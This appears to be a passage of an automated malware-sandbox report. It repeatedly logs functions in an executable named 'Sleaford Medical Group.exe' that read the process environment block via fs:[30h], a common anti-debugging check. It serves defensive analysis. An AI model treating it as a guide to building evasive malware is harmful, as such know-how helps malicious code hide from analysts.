Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451C06 mov eax, dword ptr fs:[00000030h]	22_2_1E451C06
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46740D mov eax, dword ptr fs:[00000030h]	22_2_1E46740D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46740D mov eax, dword ptr fs:[00000030h]	22_2_1E46740D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46740D mov eax, dword ptr fs:[00000030h]	22_2_1E46740D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416C0A mov eax, dword ptr fs:[00000030h]	22_2_1E416C0A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416C0A mov eax, dword ptr fs:[00000030h]	22_2_1E416C0A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416C0A mov eax, dword ptr fs:[00000030h]	22_2_1E416C0A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416C0A mov eax, dword ptr fs:[00000030h]	22_2_1E416C0A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B746D mov eax, dword ptr fs:[00000030h]	22_2_1E3B746D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CA44B mov eax, dword ptr fs:[00000030h]	22_2_1E3CA44B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468CD6 mov eax, dword ptr fs:[00000030h]	22_2_1E468CD6
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A849B mov eax, dword ptr fs:[00000030h]	22_2_1E3A849B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416CF0 mov eax, dword ptr fs:[00000030h]	22_2_1E416CF0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416CF0 mov eax, dword ptr fs:[00000030h]	22_2_1E416CF0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416CF0 mov eax, dword ptr fs:[00000030h]	22_2_1E416CF0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4514FB mov eax, dword ptr fs:[00000030h]	22_2_1E4514FB
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E413540 mov eax, dword ptr fs:[00000030h]	22_2_1E413540
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E443D40 mov eax, dword ptr fs:[00000030h]	22_2_1E443D40
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4D3B mov eax, dword ptr fs:[00000030h]	22_2_1E3C4D3B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4D3B mov eax, dword ptr fs:[00000030h]	22_2_1E3C4D3B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4D3B mov eax, dword ptr fs:[00000030h]	22_2_1E3C4D3B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39AD30 mov eax, dword ptr fs:[00000030h]	22_2_1E39AD30
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A3D34 mov eax, dword ptr fs:[00000030h]	22_2_1E3A3D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BC577 mov eax, dword ptr fs:[00000030h]	22_2_1E3BC577
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BC577 mov eax, dword ptr fs:[00000030h]	22_2_1E3BC577
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B7D50 mov eax, dword ptr fs:[00000030h]	22_2_1E3B7D50
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468D34 mov eax, dword ptr fs:[00000030h]	22_2_1E468D34
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E41A537 mov eax, dword ptr fs:[00000030h]	22_2_1E41A537
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45E539 mov eax, dword ptr fs:[00000030h]	22_2_1E45E539
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D3D43 mov eax, dword ptr fs:[00000030h]	22_2_1E3D3D43
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov eax, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov eax, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov eax, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov ecx, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov eax, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E416DC9 mov eax, dword ptr fs:[00000030h]	22_2_1E416DC9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C1DB5 mov eax, dword ptr fs:[00000030h]	22_2_1E3C1DB5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C1DB5 mov eax, dword ptr fs:[00000030h]	22_2_1E3C1DB5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C1DB5 mov eax, dword ptr fs:[00000030h]	22_2_1E3C1DB5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C35A1 mov eax, dword ptr fs:[00000030h]	22_2_1E3C35A1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CFD9B mov eax, dword ptr fs:[00000030h]	22_2_1E3CFD9B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CFD9B mov eax, dword ptr fs:[00000030h]	22_2_1E3CFD9B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45FDE2 mov eax, dword ptr fs:[00000030h]	22_2_1E45FDE2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45FDE2 mov eax, dword ptr fs:[00000030h]	22_2_1E45FDE2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45FDE2 mov eax, dword ptr fs:[00000030h]	22_2_1E45FDE2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45FDE2 mov eax, dword ptr fs:[00000030h]	22_2_1E45FDE2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E392D8A mov eax, dword ptr fs:[00000030h]	22_2_1E392D8A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E392D8A mov eax, dword ptr fs:[00000030h]	22_2_1E392D8A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E392D8A mov eax, dword ptr fs:[00000030h]	22_2_1E392D8A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E392D8A mov eax, dword ptr fs:[00000030h]	22_2_1E392D8A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E392D8A mov eax, dword ptr fs:[00000030h]	22_2_1E392D8A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E448DF1 mov eax, dword ptr fs:[00000030h]	22_2_1E448DF1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2581 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2581
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2581 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2581
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2581 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2581
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2581 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2581
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AD5E0 mov eax, dword ptr fs:[00000030h]	22_2_1E3AD5E0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AD5E0 mov eax, dword ptr fs:[00000030h]	22_2_1E3AD5E0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4605AC mov eax, dword ptr fs:[00000030h]	22_2_1E4605AC
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4605AC mov eax, dword ptr fs:[00000030h]	22_2_1E4605AC
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45EA55 mov eax, dword ptr fs:[00000030h]	22_2_1E45EA55
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D4A2C mov eax, dword ptr fs:[00000030h]	22_2_1E3D4A2C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D4A2C mov eax, dword ptr fs:[00000030h]	22_2_1E3D4A2C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E424257 mov eax, dword ptr fs:[00000030h]	22_2_1E424257
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E44B260 mov eax, dword ptr fs:[00000030h]	22_2_1E44B260
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E44B260 mov eax, dword ptr fs:[00000030h]	22_2_1E44B260
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468A62 mov eax, dword ptr fs:[00000030h]	22_2_1E468A62
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B3A1C mov eax, dword ptr fs:[00000030h]	22_2_1E3B3A1C
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E395210 mov eax, dword ptr fs:[00000030h]	22_2_1E395210
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E395210 mov ecx, dword ptr fs:[00000030h]	22_2_1E395210
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E395210 mov eax, dword ptr fs:[00000030h]	22_2_1E395210
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E395210 mov eax, dword ptr fs:[00000030h]	22_2_1E395210
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39AA16 mov eax, dword ptr fs:[00000030h]	22_2_1E39AA16
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39AA16 mov eax, dword ptr fs:[00000030h]	22_2_1E39AA16
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A8A0A mov eax, dword ptr fs:[00000030h]	22_2_1E3A8A0A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D927A mov eax, dword ptr fs:[00000030h]	22_2_1E3D927A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45AA16 mov eax, dword ptr fs:[00000030h]	22_2_1E45AA16
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45AA16 mov eax, dword ptr fs:[00000030h]	22_2_1E45AA16
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399240 mov eax, dword ptr fs:[00000030h]	22_2_1E399240
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399240 mov eax, dword ptr fs:[00000030h]	22_2_1E399240
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399240 mov eax, dword ptr fs:[00000030h]	22_2_1E399240
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399240 mov eax, dword ptr fs:[00000030h]	22_2_1E399240
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AAAB0 mov eax, dword ptr fs:[00000030h]	22_2_1E3AAAB0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AAAB0 mov eax, dword ptr fs:[00000030h]	22_2_1E3AAAB0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CFAB0 mov eax, dword ptr fs:[00000030h]	22_2_1E3CFAB0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3952A5 mov eax, dword ptr fs:[00000030h]	22_2_1E3952A5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3952A5 mov eax, dword ptr fs:[00000030h]	22_2_1E3952A5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3952A5 mov eax, dword ptr fs:[00000030h]	22_2_1E3952A5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3952A5 mov eax, dword ptr fs:[00000030h]	22_2_1E3952A5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3952A5 mov eax, dword ptr fs:[00000030h]	22_2_1E3952A5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CD294 mov eax, dword ptr fs:[00000030h]	22_2_1E3CD294
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CD294 mov eax, dword ptr fs:[00000030h]	22_2_1E3CD294
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2AE4 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2AE4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2ACB mov eax, dword ptr fs:[00000030h]	22_2_1E3C2ACB
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E468B58 mov eax, dword ptr fs:[00000030h]	22_2_1E468B58
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C3B7A mov eax, dword ptr fs:[00000030h]	22_2_1E3C3B7A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C3B7A mov eax, dword ptr fs:[00000030h]	22_2_1E3C3B7A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39DB60 mov ecx, dword ptr fs:[00000030h]	22_2_1E39DB60
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45131B mov eax, dword ptr fs:[00000030h]	22_2_1E45131B
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39F358 mov eax, dword ptr fs:[00000030h]	22_2_1E39F358
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39DB40 mov eax, dword ptr fs:[00000030h]	22_2_1E39DB40
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4153CA mov eax, dword ptr fs:[00000030h]	22_2_1E4153CA
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4153CA mov eax, dword ptr fs:[00000030h]	22_2_1E4153CA
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4BAD mov eax, dword ptr fs:[00000030h]	22_2_1E3C4BAD
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4BAD mov eax, dword ptr fs:[00000030h]	22_2_1E3C4BAD
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C4BAD mov eax, dword ptr fs:[00000030h]	22_2_1E3C4BAD
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2397 mov eax, dword ptr fs:[00000030h]	22_2_1E3C2397
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CB390 mov eax, dword ptr fs:[00000030h]	22_2_1E3CB390
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A1B8F mov eax, dword ptr fs:[00000030h]	22_2_1E3A1B8F
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A1B8F mov eax, dword ptr fs:[00000030h]	22_2_1E3A1B8F
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E44D380 mov ecx, dword ptr fs:[00000030h]	22_2_1E44D380
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45138A mov eax, dword ptr fs:[00000030h]	22_2_1E45138A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3BDBE9 mov eax, dword ptr fs:[00000030h]	22_2_1E3BDBE9
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C03E2 mov eax, dword ptr fs:[00000030h]	22_2_1E3C03E2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E465BA5 mov eax, dword ptr fs:[00000030h]	22_2_1E465BA5
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AB02A mov eax, dword ptr fs:[00000030h]	22_2_1E3AB02A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AB02A mov eax, dword ptr fs:[00000030h]	22_2_1E3AB02A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AB02A mov eax, dword ptr fs:[00000030h]	22_2_1E3AB02A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AB02A mov eax, dword ptr fs:[00000030h]	22_2_1E3AB02A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C002D mov eax, dword ptr fs:[00000030h]	22_2_1E3C002D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C002D mov eax, dword ptr fs:[00000030h]	22_2_1E3C002D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C002D mov eax, dword ptr fs:[00000030h]	22_2_1E3C002D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C002D mov eax, dword ptr fs:[00000030h]	22_2_1E3C002D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C002D mov eax, dword ptr fs:[00000030h]	22_2_1E3C002D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E461074 mov eax, dword ptr fs:[00000030h]	22_2_1E461074
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E452073 mov eax, dword ptr fs:[00000030h]	22_2_1E452073
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E464015 mov eax, dword ptr fs:[00000030h]	22_2_1E464015
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E464015 mov eax, dword ptr fs:[00000030h]	22_2_1E464015
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417016 mov eax, dword ptr fs:[00000030h]	22_2_1E417016
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417016 mov eax, dword ptr fs:[00000030h]	22_2_1E417016
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E417016 mov eax, dword ptr fs:[00000030h]	22_2_1E417016
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B0050 mov eax, dword ptr fs:[00000030h]	22_2_1E3B0050
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B0050 mov eax, dword ptr fs:[00000030h]	22_2_1E3B0050
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CF0BF mov ecx, dword ptr fs:[00000030h]	22_2_1E3CF0BF
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CF0BF mov eax, dword ptr fs:[00000030h]	22_2_1E3CF0BF
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CF0BF mov eax, dword ptr fs:[00000030h]	22_2_1E3CF0BF
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D90AF mov eax, dword ptr fs:[00000030h]	22_2_1E3D90AF
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov eax, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov ecx, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov eax, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov eax, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov eax, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E42B8D0 mov eax, dword ptr fs:[00000030h]	22_2_1E42B8D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0 mov eax, dword ptr fs:[00000030h]	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399080 mov eax, dword ptr fs:[00000030h]	22_2_1E399080
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E413884 mov eax, dword ptr fs:[00000030h]	22_2_1E413884
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E413884 mov eax, dword ptr fs:[00000030h]	22_2_1E413884
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3958EC mov eax, dword ptr fs:[00000030h]	22_2_1E3958EC
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3940E1 mov eax, dword ptr fs:[00000030h]	22_2_1E3940E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3940E1 mov eax, dword ptr fs:[00000030h]	22_2_1E3940E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3940E1 mov eax, dword ptr fs:[00000030h]	22_2_1E3940E1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C513A mov eax, dword ptr fs:[00000030h]	22_2_1E3C513A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C513A mov eax, dword ptr fs:[00000030h]	22_2_1E3C513A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120 mov eax, dword ptr fs:[00000030h]	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120 mov eax, dword ptr fs:[00000030h]	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120 mov eax, dword ptr fs:[00000030h]	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120 mov eax, dword ptr fs:[00000030h]	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120 mov ecx, dword ptr fs:[00000030h]	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399100 mov eax, dword ptr fs:[00000030h]	22_2_1E399100
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399100 mov eax, dword ptr fs:[00000030h]	22_2_1E399100
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E399100 mov eax, dword ptr fs:[00000030h]	22_2_1E399100
